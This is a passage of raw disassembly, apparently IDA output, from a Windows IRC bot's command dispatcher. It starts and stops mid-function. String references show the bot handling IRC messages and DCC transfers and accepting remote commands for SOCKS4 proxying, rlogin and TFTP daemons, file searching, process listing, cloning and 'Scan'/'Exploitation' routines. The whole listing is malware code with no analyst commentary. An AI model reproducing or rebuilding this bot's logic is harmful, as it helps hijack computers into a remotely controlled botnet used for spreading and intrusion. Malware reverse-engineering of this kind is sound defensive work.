[ebp+arg_10] call sub_415D01 add esp, 10h push [ebp+arg_10] push offset aNickS ; "NICK %s\r\n" push [ebp+arg_4] call sub_40D633 loc_40F10C: ; CODE XREF: sub_40EE72+25Fj add esp, 0Ch loc_40F10F: ; CODE XREF: sub_40EE72+1D8j ; sub_40EE72+1F4j ... mov eax, edi jmp loc_40F23C ; --------------------------------------------------------------------------- loc_40F116: ; CODE XREF: sub_40EE72+270j mov esi, [ebp+arg_18] mov [ebp+var_BC], 2 mov edi, 80h loc_40F128: ; CODE XREF: sub_40EE72+2DBj lea eax, [ebp+var_AA8] push eax push esi call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_40F145 mov [ebp+var_AC], 1 loc_40F145: ; CODE XREF: sub_40EE72+2C7j add esi, edi dec [ebp+var_BC] jnz short loc_40F128 mov esi, [ebp+var_90] push esi push offset aKick ; "KICK" call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_40F241 mov esi, [ebp+arg_18] mov [ebp+arg_24], 2 loc_40F174: ; CODE XREF: sub_40EE72+392j cmp [esi], bl jz loc_40F1FF push 7Fh lea eax, [ebp+var_AA8] push esi push eax call sub_418C10 lea eax, [ebp+var_D8] add esp, 0Ch test eax, eax jz short loc_40F1FF cmp [ebp+var_88], ebx jz short loc_40F1FF push [ebp+var_88] lea eax, [ebp+var_D8] push eax call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_40F1FF lea eax, [ebp+var_D8] mov [esi], bl push eax lea eax, [ebp+var_2DC] push offset dword_432E04 push eax call sub_4172B0 add esp, 0Ch lea eax, [ebp+var_2DC] push eax lea eax, [ebp+var_D8] push eax push offset aNoticeSS ; "NOTICE %s :%s\r\n" push [ebp+arg_4] call sub_40D633 lea eax, [ebp+var_2DC] push eax call sub_40BF6D add esp, 14h loc_40F1FF: ; CODE XREF: sub_40EE72+304j ; sub_40EE72+324j ... add esi, edi dec [ebp+arg_24] jnz loc_40F174 push [ebp+var_88] push [ebp+arg_10] call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_40F239 push [ebp+arg_C] mov eax, [ebp+arg_20] push [ebp+arg_8] mov [eax], ebx push offset aJoinSS ; "JOIN %s %s\r\n" loc_40F22E: ; CODE XREF: sub_40EE72+618j ; sub_40EE72+978j push [ebp+arg_4] call sub_40D633 loc_40F236: ; CODE XREF: sub_40EE72+57D8j ; sub_40EE72+57F5j ... add esp, 10h loc_40F239: ; CODE XREF: sub_40EE72+5Bj ; sub_40EE72+F1j ... push 1 loc_40F23B: ; CODE XREF: sub_40EE72+5CEBj pop eax loc_40F23C: ; CODE XREF: sub_40EE72+29Fj ; sub_40EE72+229Dj ... pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_40F241: ; CODE XREF: sub_40EE72+2F2j push esi push offset aNick ; "NICK" call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_40F397 mov eax, [ebp+var_8C] mov esi, [ebp+arg_18] inc eax mov [ebp+arg_0], 2 mov [ebp+arg_24], eax loc_40F26A: ; CODE XREF: sub_40EE72+44Aj lea eax, [ebp+var_AA8] push eax push esi call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_40F2B7 lea eax, [ebp+var_AA8] push 21h push eax call sub_418F50 pop ecx cmp eax, ebx pop ecx mov [ebp+arg_1C], eax jz short loc_40F2B7 push [ebp+arg_24] lea edi, [esi+2] mov byte ptr [esi], 3Ah lea eax, [edi-1] push eax call sub_4179C0 push [ebp+arg_1C] push edi call sub_4179D0 add esp, 10h mov edi, 80h loc_40F2B7: ; CODE XREF: sub_40EE72+409j ; sub_40EE72+420j add esi, edi dec [ebp+arg_0] jnz short loc_40F26A lea eax, [ebp+var_D8] test eax, eax jz loc_40F239 cmp [ebp+arg_24], ebx jz loc_40F239 push [ebp+arg_10] lea eax, [ebp+var_D8] push eax call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_40F2FF push 0Fh push [ebp+arg_24] push [ebp+arg_10] call sub_418C10 add esp, 0Ch jmp loc_40F239 ; --------------------------------------------------------------------------- loc_40F2FF: ; CODE XREF: sub_40EE72+476j mov edi, [ebp+arg_18] xor esi, esi loc_40F304: ; CODE XREF: sub_40EE72+4B3j cmp [edi], bl jz short loc_40F31B lea eax, [ebp+var_AA8] push eax push edi call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_40F32C loc_40F31B: ; CODE XREF: sub_40EE72+494j inc esi add edi, 80h cmp esi, 2 jl short loc_40F304 jmp loc_40F239 ; --------------------------------------------------------------------------- loc_40F32C: ; CODE XREF: sub_40EE72+4A7j lea eax, [ebp+var_AA8] push 21h push eax call sub_418F50 pop ecx cmp eax, ebx pop ecx mov [ebp+arg_0], eax jz loc_40F239 push eax call sub_417AB0 push [ebp+arg_24] mov edi, eax call sub_417AB0 add edi, eax pop ecx cmp edi, 7Eh pop ecx ja loc_40F239 push [ebp+arg_0] shl esi, 7 push [ebp+arg_24] add esi, [ebp+arg_18] push offset aSS_0 ; ":%s%s" push esi call sub_4172B0 push ebx lea eax, [ebp+var_4C0] push ebx push eax push [ebp+arg_8] push [ebp+arg_4] call sub_40D679 add esp, 24h jmp loc_40F239 ; --------------------------------------------------------------------------- loc_40F397: ; CODE XREF: sub_40EE72+3DEj push esi push offset aPart ; "PART" call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_40F3B9 push esi push offset aQuit ; "QUIT" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_40F3E0 loc_40F3B9: ; CODE XREF: sub_40EE72+534j mov edi, [ebp+arg_18] xor esi, esi loc_40F3BE: ; CODE XREF: sub_40EE72+56Cj cmp [edi], bl jz short loc_40F3D4 push [ebp+var_94] push edi call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_40F42E loc_40F3D4: ; CODE XREF: sub_40EE72+54Ej inc esi add edi, 80h cmp esi, 2 jl short loc_40F3BE loc_40F3E0: ; CODE XREF: sub_40EE72+545j push [ebp+var_90] push offset a353 ; "353" call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_40F48F push [ebp+var_84] push [ebp+arg_8] call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_40F417 mov eax, [ebp+arg_20] mov dword ptr [eax], 1 loc_40F417: ; CODE XREF: sub_40EE72+59Aj push [ebp+var_84] push offset dword_432DA8 loc_40F422: ; CODE XREF: sub_40EE72+5B47j ; sub_40EE72+5E96j ... call sub_40BFE1 pop ecx loc_40F428: ; CODE XREF: sub_40EE72+5FABj pop ecx jmp loc_40F239 ; --------------------------------------------------------------------------- loc_40F42E: ; CODE XREF: sub_40EE72+560j mov eax, [ebp+arg_18] shl esi, 7 mov [esi+eax], bl lea eax, [ebp+var_D8] push eax lea eax, [ebp+var_2DC] push offset dword_432D78 push eax call sub_4172B0 lea eax, [ebp+var_2DC] push eax call sub_40BF6D push [ebp+var_90] push offset aPart ; "PART" call sub_4176D0 add esp, 18h test eax, eax jnz loc_40F239 lea eax, [ebp+var_2DC] push eax mov eax, [ebp+var_94] inc eax push eax push offset aNoticeSS ; "NOTICE %s :%s\r\n" jmp loc_40F22E ; --------------------------------------------------------------------------- loc_40F48F: ; CODE XREF: sub_40EE72+582j push [ebp+var_90] mov esi, offset aPrivmsg ; "PRIVMSG" push esi call sub_4176D0 pop ecx mov edi, offset aNotice ; "NOTICE" test eax, eax pop ecx jz short loc_40F4E3 push [ebp+var_90] push edi call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_40F4E3 push [ebp+var_90] push offset dword_432D74 call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_414F47 cmp dword_42F5B8, ebx jz loc_414F47 loc_40F4E3: ; CODE XREF: sub_40EE72+637j ; sub_40EE72+649j push [ebp+var_90] push esi call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_40F66F push [ebp+var_90] push edi call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_40F66F mov eax, [ebp+var_88] inc [ebp+var_84] push 4 mov [ebp+var_8C], eax pop esi mov [ebp+var_C0], esi loc_40F52A: ; CODE XREF: sub_40EE72+8B9j ; sub_40EE72+94Dj ... shl esi, 2 mov eax, [ebp+esi+var_94] lea edi, [ebp+esi+var_94] push eax push offset dword_432D6C mov [ebp+arg_8], eax call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_40F96F push [ebp+esi+var_90] push offset aSend_0 ; "SEND" call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_40F82A cmp [ebp+var_AC], ebx jz loc_40F800 push [ebp+esi+var_8C] mov edi, offset aS_1 ; "%s" lea eax, [ebp+var_6F4] push edi push eax call sub_4172B0 add esp, 0Ch lea eax, [ebp+var_708] push [ebp+esi+var_88] push edi push eax call sub_4172B0 push [ebp+esi+var_84] call sub_41781F mov [ebp+var_570], eax mov eax, [ebp+arg_4] mov [ebp+var_710], eax lea eax, [ebp+var_D8] push 7Fh push eax lea eax, [ebp+var_5F0] push eax call sub_418C10 mov eax, [ebp+var_4] add esp, 1Ch mov [ebp+var_568], eax mov eax, [ebp+var_8] mov [ebp+var_564], eax lea eax, [ebp+var_5F0] push eax lea eax, [ebp+var_6F4] push eax lea eax, [ebp+var_2DC] push offset dword_432D28 push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push 12h push eax call sub_416D5C add esp, 1Ch mov [ebp+var_56C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_710] push ebx push eax push offset sub_40C8B4 push ebx push ebx nop call near ptr 26A0AA3h mov ecx, [ebp+var_56C] imul ecx, 234h cmp eax, ebx mov dword_440804[ecx], eax jz loc_40F7EF loc_40F659: ; CODE XREF: sub_40EE72+7FBj cmp [ebp+var_560], ebx jnz loc_40F822 push 32h nop call near ptr 26207A4h jmp short loc_40F659 ; --------------------------------------------------------------------------- loc_40F66F: ; CODE XREF: sub_40EE72+681j ; sub_40EE72+697j push [ebp+var_90] push edi call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_40F688 mov [ebp+var_4], 1 loc_40F688: ; CODE XREF: sub_40EE72+80Dj cmp [ebp+var_8C], ebx jz loc_40F239 push (offset loc_4289A7+1) push [ebp+var_8C] call sub_417880 pop ecx test eax, eax pop ecx jz short loc_40F6AF cmp [ebp+var_4], ebx jz short loc_40F6BB loc_40F6AF: ; CODE XREF: sub_40EE72+836j lea eax, [ebp+var_D8] mov [ebp+var_8C], eax loc_40F6BB: ; CODE XREF: sub_40EE72+83Bj cmp [ebp+var_88], ebx jz loc_40F239 inc [ebp+var_88] jz short loc_40F707 cmp [ebp+arg_10], ebx jz short loc_40F707 lea eax, [ebp+var_928] push eax call sub_417AB0 push eax lea eax, [ebp+var_928] push [ebp+var_88] push eax call sub_418DA0 mov esi, eax add esp, 10h neg esi sbb esi, esi add esi, 4 mov [ebp+var_C0], esi jmp short loc_40F70D ; --------------------------------------------------------------------------- loc_40F707: ; CODE XREF: sub_40EE72+85Bj ; sub_40EE72+860j mov esi, [ebp+var_C0] loc_40F70D: ; CODE XREF: sub_40EE72+893j mov edi, [ebp+esi*4+var_94] cmp edi, ebx jz loc_40F239 push edi push offset dword_432D1C call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_40F52A mov ecx, [ebp+var_8C] cmp byte ptr [ecx], 23h jz short loc_40F7B0 mov eax, dword_4CD770 mov eax, off_42F6C8[eax*4] cmp [eax], bl jz short loc_40F7B0 push eax push ecx push offset dword_432D00 push [ebp+arg_4] call sub_40D633 add esp, 10h lea eax, [ebp+var_D8] push eax lea eax, [ebp+var_2DC] push offset aSHasJustVersio ; "%s has just versioned me." push eax call sub_4172B0 lea eax, [ebp+var_2DC] push eax call sub_40BF6D add esp, 10h cmp [ebp+var_AC], ebx jnz loc_40F239 push ebx lea eax, [ebp+var_2DC] push 1 push eax push offset dword_4CD67C loc_40F7A0: ; CODE XREF: sub_40EE72+58C1j push [ebp+arg_4] call sub_40D679 add esp, 14h jmp loc_40F239 ; --------------------------------------------------------------------------- loc_40F7B0: ; CODE XREF: sub_40EE72+8C8j ; sub_40EE72+8D8j push edi push offset dword_432CDC call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_40F52A mov eax, [ebp+esi*4+var_90] cmp eax, ebx jz loc_40F52A mov ecx, [ebp+var_8C] cmp byte ptr [ecx], 23h jz loc_40F52A push eax push ecx push offset dword_432CC4 jmp loc_40F22E ; --------------------------------------------------------------------------- loc_40F7EF: ; CODE XREF: sub_40EE72+7E1j nop call near ptr 26702AAh push eax push offset dword_432C7C jmp loc_40F95B ; --------------------------------------------------------------------------- loc_40F800: ; CODE XREF: sub_40EE72+702j lea eax, [ebp+var_D8] push eax push [ebp+esi+var_8C] push offset dword_432C2C loc_40F813: ; CODE XREF: sub_40EE72+6177j ; sub_40EE72+61DEj lea eax, [ebp+var_2DC] push eax call sub_4172B0 add esp, 10h loc_40F822: ; CODE XREF: sub_40EE72+7EDj ; sub_40EE72+AB1j ... push 1 pop esi jmp loc_411100 ; --------------------------------------------------------------------------- loc_40F82A: ; CODE XREF: sub_40EE72+6F6j push [ebp+esi+var_90] push offset aChat ; "CHAT" call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_40F985 cmp [ebp+var_AC], ebx jz loc_40F94F push 13h call sub_416FA4 test eax, eax pop ecx jnz loc_40F941 push [ebp+esi+var_88] lea eax, [ebp+var_708] push offset aS_1 ; "%s" push eax call sub_4172B0 push [ebp+esi+var_84] call sub_41781F mov [ebp+var_570], eax mov eax, [ebp+arg_4] mov [ebp+var_710], eax lea eax, [ebp+var_D8] push 7Fh push eax lea eax, [ebp+var_5F0] push eax call sub_418C10 mov eax, [ebp+var_4] add esp, 1Ch mov [ebp+var_568], eax mov eax, [ebp+var_8] mov [ebp+var_564], eax lea eax, [ebp+var_D8] push eax lea eax, [ebp+var_2DC] push offset dword_432BF4 push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push 13h push eax call sub_416D5C add esp, 18h mov [ebp+var_56C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_710] push ebx push eax push offset sub_40C351 push ebx push ebx nop call near ptr 26A0AA3h mov ecx, [ebp+var_56C] imul ecx, 234h cmp eax, ebx mov dword_440804[ecx], eax jz short loc_40F933 loc_40F91D: ; CODE XREF: sub_40EE72+ABFj cmp [ebp+var_560], ebx jnz loc_40F822 push 32h nop call near ptr 26207A4h jmp short loc_40F91D ; --------------------------------------------------------------------------- loc_40F933: ; CODE XREF: sub_40EE72+AA9j nop call near ptr 26702AAh push eax push offset dword_432BB0 jmp short loc_40F95B ; --------------------------------------------------------------------------- loc_40F941: ; CODE XREF: sub_40EE72+9E9j lea eax, [ebp+var_D8] push eax push offset dword_432B70 jmp short loc_40F95B ; --------------------------------------------------------------------------- loc_40F94F: ; CODE XREF: sub_40EE72+9D9j lea eax, [ebp+var_D8] push eax push offset dword_432B30 loc_40F95B: ; CODE XREF: sub_40EE72+989j ; sub_40EE72+ACDj ... lea eax, [ebp+var_2DC] push eax call sub_4172B0 add esp, 0Ch jmp loc_40F822 ; --------------------------------------------------------------------------- loc_40F96F: ; CODE XREF: sub_40EE72+6DBj mov eax, [ebp+arg_8] lea ecx, [eax+1] mov al, [eax] cmp al, byte_42F5C4 mov [edi], ecx jnz loc_40F239 loc_40F985: ; CODE XREF: sub_40EE72+9CDj mov edi, [edi] mov [ebp+arg_8], edi push edi mov edi, offset aC_0 ; "c" push edi call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414F4F push [ebp+arg_8] push edi call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414F4F cmp [ebp+var_AC], ebx jnz short loc_40F9D5 push [ebp+var_90] push offset dword_432D74 call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_414F47 loc_40F9D5: ; CODE XREF: sub_40EE72+B47j cmp [ebp+arg_28], ebx jnz loc_414F47 xor edi, edi cmp dword_42F794, ebx jle loc_40FB81 mov [ebp+arg_20], offset dword_43FA70 loc_40F9F3: ; CODE XREF: sub_40EE72+BA0j push [ebp+arg_8] push [ebp+arg_20] call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_40FA19 add [ebp+arg_20], 0B8h inc edi cmp edi, dword_42F794 jl short loc_40F9F3 jmp loc_40FB81 ; --------------------------------------------------------------------------- loc_40FA19: ; CODE XREF: sub_40EE72+B90j push offset asc_432E84 ; " :" push [ebp+arg_0] call sub_417880 pop ecx cmp eax, ebx pop ecx jz loc_40F239 mov cl, byte_42F5C4 imul edi, 0B8h mov [eax+2], cl mov cl, byte_42F5C4 mov [eax+3], cl lea ecx, dword_43FA88[edi] push 9Fh add eax, 4 push ecx push eax call sub_418C10 lea eax, [ebp+esi+var_54] add esp, 0Ch mov [ebp+arg_20], 0Fh mov [ebp+arg_C], eax loc_40FA6E: ; CODE XREF: sub_40EE72+CA4j push [ebp+arg_20] lea eax, [ebp+var_B8] push offset aD_0 ; "$%d-" push eax call sub_4172B0 lea eax, [ebp+var_B8] push eax push [ebp+arg_0] call sub_417880 add esp, 14h test eax, eax jz short loc_40FADA mov eax, [ebp+arg_C] cmp [eax], ebx jz short loc_40FADA lea eax, dword_43FA70[edi] push eax call sub_417AB0 add [ebp+var_C], eax pop ecx jz short loc_40FB0C mov eax, [ebp+arg_C] push dword ptr [eax-4] push [ebp+var_C] call sub_417880 pop ecx cmp eax, ebx pop ecx jz short loc_40FB0C push eax lea eax, [ebp+var_B8] push eax push [ebp+arg_0] call sub_40A7D7 add esp, 0Ch jmp short loc_40FB0C ; --------------------------------------------------------------------------- loc_40FADA: ; CODE XREF: sub_40EE72+C24j ; sub_40EE72+C2Bj mov eax, [ebp+arg_C] cmp [eax], ebx jnz short loc_40FB0C lea eax, [ebp+var_B8] push 2 push eax lea eax, [ebp+var_14] push eax call sub_418C10 lea eax, [ebp+var_14] mov [ebp+var_12], bl push eax lea eax, [ebp+var_B8] push eax push [ebp+arg_0] call sub_40A7D7 add esp, 18h loc_40FB0C: ; CODE XREF: sub_40EE72+C3Dj ; sub_40EE72+C51j ... dec [ebp+arg_20] sub [ebp+arg_C], 4 cmp [ebp+arg_20], ebx jg loc_40FA6E lea eax, [ebp+esi+var_54] mov [ebp+arg_20], 10h mov edi, eax loc_40FB29: ; CODE XREF: sub_40EE72+D03j push [ebp+arg_20] lea eax, [ebp+var_B8] push offset aD ; "$%d" push eax call sub_4172B0 lea eax, [ebp+var_B8] push eax push [ebp+arg_0] call sub_417880 add esp, 14h test eax, eax jz short loc_40FB6C mov eax, [edi] cmp eax, ebx jz short loc_40FB6C push eax lea eax, [ebp+var_B8] push eax push [ebp+arg_0] call sub_40A7D7 add esp, 0Ch loc_40FB6C: ; CODE XREF: sub_40EE72+CDFj ; sub_40EE72+CE5j dec [ebp+arg_20] sub edi, 4 cmp [ebp+arg_20], ebx jg short loc_40FB29 mov [ebp+var_DC], 1 loc_40FB81: ; CODE XREF: sub_40EE72+B74j ; sub_40EE72+BA2j mov eax, [ebp+arg_8] mov al, [eax] cmp al, byte_42F5C4 jz short loc_40FB9A cmp [ebp+var_DC], ebx jz loc_40FD7F loc_40FB9A: ; CODE XREF: sub_40EE72+D1Aj push [ebp+arg_10] mov edi, [ebp+arg_0] push offset aMe_0 ; "$me" push edi call sub_40A7D7 lea eax, [ebp+var_D8] push eax push offset aUser_2 ; "$user" push edi call sub_40A7D7 push [ebp+var_8C] push offset aChan ; "$chan" push edi call sub_40A7D7 push ebx push ebx lea eax, [ebp+var_B8] push 2 push eax call sub_415D01 push eax push offset aRndnick ; "$rndnick" push edi call sub_40A7D7 add esp, 40h push [ebp+arg_14] push offset aServer_0 ; "$server" push edi call sub_40A7D7 mov edi, offset aChr ; "$chr(" push edi push [ebp+arg_0] call sub_417880 add esp, 14h loc_40FC0C: ; CODE XREF: sub_40EE72+E86j test eax, eax jz loc_40FCFD push edi push [ebp+arg_0] call sub_417880 mov [ebp+arg_10], eax add eax, 5 push 4 push eax lea eax, [ebp+var_B8] push eax call sub_418C10 lea eax, [ebp+var_B8] push offset asc_432AEC ; ")" push eax call sub_418B6E add esp, 1Ch cmp [ebp+var_B8], 30h jl short loc_40FC58 cmp [ebp+var_B8], 39h jle short loc_40FC6E loc_40FC58: ; CODE XREF: sub_40EE72+DDBj push 3 lea eax, [ebp+var_B8] push offset a63 ; "63" push eax call sub_418C10 add esp, 0Ch loc_40FC6E: ; CODE XREF: sub_40EE72+DE4j lea eax, [ebp+var_B8] push eax call sub_41781F test eax, eax pop ecx jle short loc_40FC91 lea eax, [ebp+var_B8] push eax call sub_41781F pop ecx mov [ebp+var_14], al jmp short loc_40FCA2 ; --------------------------------------------------------------------------- loc_40FC91: ; CODE XREF: sub_40EE72+E0Bj call sub_41730C push 60h cdq pop ecx idiv ecx add dl, 20h mov [ebp+var_14], dl loc_40FCA2: ; CODE XREF: sub_40EE72+E1Dj lea eax, [ebp+var_B8] mov [ebp+var_13], bl push eax call sub_417AB0 mov [ebp+arg_20], eax push 0Ch lea eax, [ebp+var_B8] push ebx push eax call sub_417330 mov eax, [ebp+arg_20] add eax, 6 push eax lea eax, [ebp+var_B8] push [ebp+arg_10] push eax call sub_418C10 lea eax, [ebp+var_14] push eax lea eax, [ebp+var_B8] push eax push [ebp+arg_0] call sub_40A7D7 push edi push [ebp+arg_0] call sub_417880 add esp, 30h jmp loc_40FC0C ; --------------------------------------------------------------------------- loc_40FCFD: ; CODE XREF: sub_40EE72+D9Cj mov edi, 1FFh lea eax, [ebp+var_FB0] push edi push [ebp+arg_0] push eax call sub_418C10 lea eax, [ebp+var_FB0] push edi push eax lea eax, [ebp+var_11B0] push eax call sub_418C10 lea eax, [ebp+var_11B0] push offset asc_42A3B4 ; " " push eax call sub_418B6E add esp, 20h mov [ebp+var_94], eax lea edi, [ebp+var_90] mov [ebp+arg_10], 1Fh loc_40FD4D: ; CODE XREF: sub_40EE72+EF0j push offset asc_42A3B4 ; " " push ebx call sub_418B6E mov [edi], eax pop ecx add edi, 4 dec [ebp+arg_10] pop ecx jnz short loc_40FD4D mov ecx, [ebp+esi+var_94] lea eax, [ebp+esi+var_94] cmp ecx, ebx jz loc_40F239 add ecx, 3 mov [eax], ecx loc_40FD7F: ; CODE XREF: sub_40EE72+D22j mov edi, [ebp+esi+var_94] push edi push offset aIrc_rndnick ; "irc.rndnick" mov [ebp+arg_8], edi call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414EF5 push edi push offset aRn ; "rn" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414EF5 push edi push offset aIrc_die ; "irc.die" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414ED3 push edi push offset aIrc_di ; "irc.di" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414ED3 push edi push offset aIrc_logout ; "irc.logout" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414E31 push edi push offset aLo ; "lo" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414E31 push edi push offset aIrc_version ; "irc.version" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414E22 push edi push offset aVer ; "ver" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414E22 push edi push offset aLockdown_on ; "lockdown.on" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414D0D push edi push offset aLd_on ; "ld.on" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414D0D push edi push offset aLockdown_off ; "lockdown.off" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414D0D push edi push offset aLd_off ; "ld.off" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414D0D push edi push offset aProxy_socks4_o ; "proxy.socks4.on" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414BEB push edi push offset aProxy_s4_on ; "proxy.s4.on" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414BEB push edi push offset aProxy_socks4_0 ; "proxy.socks4.off" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_40FEEF push [ebp+esi+var_90] push 11h push offset aServer ; "Server" push offset dword_432A34 loc_40FED3: ; CODE XREF: sub_40EE72+10A1j ; sub_40EE72+10C7j ... push [ebp+var_8] push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_416FEA add esp, 20h jmp loc_40F239 ; --------------------------------------------------------------------------- loc_40FEEF: ; CODE XREF: sub_40EE72+104Cj push edi push offset aDaemon_rlogin_ ; "daemon.rlogin.off" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_40FF15 push [ebp+esi+var_90] push 6 push offset aServer ; "Server" push offset dword_432A10 jmp short loc_40FED3 ; --------------------------------------------------------------------------- loc_40FF15: ; CODE XREF: sub_40EE72+108Cj push edi push offset dword_432A00 call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_40FF3B push [ebp+esi+var_90] push 3 push offset aServer ; "Server" push offset dword_4329F4 jmp short loc_40FED3 ; --------------------------------------------------------------------------- loc_40FF3B: ; CODE XREF: sub_40EE72+10B2j push edi push offset dword_4329EC call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_40FF64 push [ebp+esi+var_90] push 1Dh push offset dword_4329E0 push offset dword_4329D4 jmp loc_40FED3 ; --------------------------------------------------------------------------- loc_40FF64: ; CODE XREF: sub_40EE72+10D8j push edi push offset aProxy_redirect ; "proxy.redirect.off" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_40FF8D push [ebp+esi+var_90] push 10h push offset dword_4329B0 push offset dword_4329A0 jmp loc_40FED3 ; --------------------------------------------------------------------------- loc_40FF8D: ; CODE XREF: sub_40EE72+1101j push edi push offset dword_432994 call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_40FFB6 push [ebp+esi+var_90] push 0Ah push offset dword_432988 push offset dword_43297C jmp loc_40FED3 ; --------------------------------------------------------------------------- loc_40FFB6: ; CODE XREF: sub_40EE72+112Aj push edi push offset dword_43296C call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_40FFDF push [ebp+esi+var_90] push 0Bh push offset dword_432960 push offset dword_432954 jmp loc_40FED3 ; --------------------------------------------------------------------------- loc_40FFDF: ; CODE XREF: sub_40EE72+1153j push edi push offset dword_432944 call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_410008 push [ebp+esi+var_90] push 0Fh push offset dword_432938 push offset dword_43292C jmp loc_40FED3 ; --------------------------------------------------------------------------- loc_410008: ; CODE XREF: sub_40EE72+117Cj push edi push offset dword_43291C call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_410031 push [ebp+esi+var_90] push 0Eh push offset dword_432910 push offset dword_432904 jmp loc_40FED3 ; --------------------------------------------------------------------------- loc_410031: ; CODE XREF: sub_40EE72+11A5j push edi push offset aDaemon_tftp_of ; "daemon.tftp.off" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_41005A push [ebp+esi+var_90] push 4 loc_41004B: ; DATA XREF: ___:0042CC90o ; ___:0042CCA4o push offset aServer ; "Server" push offset dword_4328E8 jmp loc_40FED3 ; --------------------------------------------------------------------------- loc_41005A: ; CODE XREF: sub_40EE72+11CEj push edi push offset aUtil_findfile_ ; "util.findfile.off" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414BD3 push edi push offset aUtil_ff_off ; "util.ff.off" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414BD3 push edi push offset aCom_procs_off ; "com.procs.off" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414BBB push edi push offset aCom_ps_off ; "com.ps.off" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414BBB push edi push offset aClone_off ; "clone.off" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_4100D7 push [ebp+esi+var_90] push 18h push offset aClone ; "Clone" push offset dword_432888 jmp loc_40FED3 ; --------------------------------------------------------------------------- loc_4100D7: ; CODE XREF: sub_40EE72+124Bj push edi push offset aLockdown_stop ; "lockdown.stop" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_410100 push [ebp+esi+var_90] push 1Ah push offset aSecure_0 ; "Secure" push offset dword_432860 jmp loc_40FED3 ; --------------------------------------------------------------------------- loc_410100: ; CODE XREF: sub_40EE72+1274j push edi push offset aRoot_stop ; "root.stop" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_410129 push [ebp+esi+var_90] push 8 push offset aScan ; "Scan" push offset aExploitation ; "Exploitation" jmp loc_40FED3 ; --------------------------------------------------------------------------- loc_410129: ; CODE XREF: sub_40EE72+129Dj push edi push offset aRoot_stats ; "root.stats" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414BA5 push edi push offset aRoot_st ; "root.st" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414BA5 push edi push offset aIrc_reconnect ; "irc.reconnect" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414B84 push edi push offset aIrc_r ; "irc.r" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414B84 push edi push offset aIrc_disconnect ; "irc.disconnect" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414B62 push edi push offset aIrc_d ; "irc.d" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414B62 push edi push offset aIrc_quit ; "irc.quit" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414B1A push edi push offset aIrc_q ; "irc.q" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414B1A push edi push offset aIrc_status ; "irc.status" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414ADB push edi push offset aIrc_s ; "irc.s" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414ADB push edi push offset aIrc_id ; "irc.id" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414ACF push edi push offset aIrc_i ; "irc.i" call sub_4176D0 pop ecx test eax, eax pop 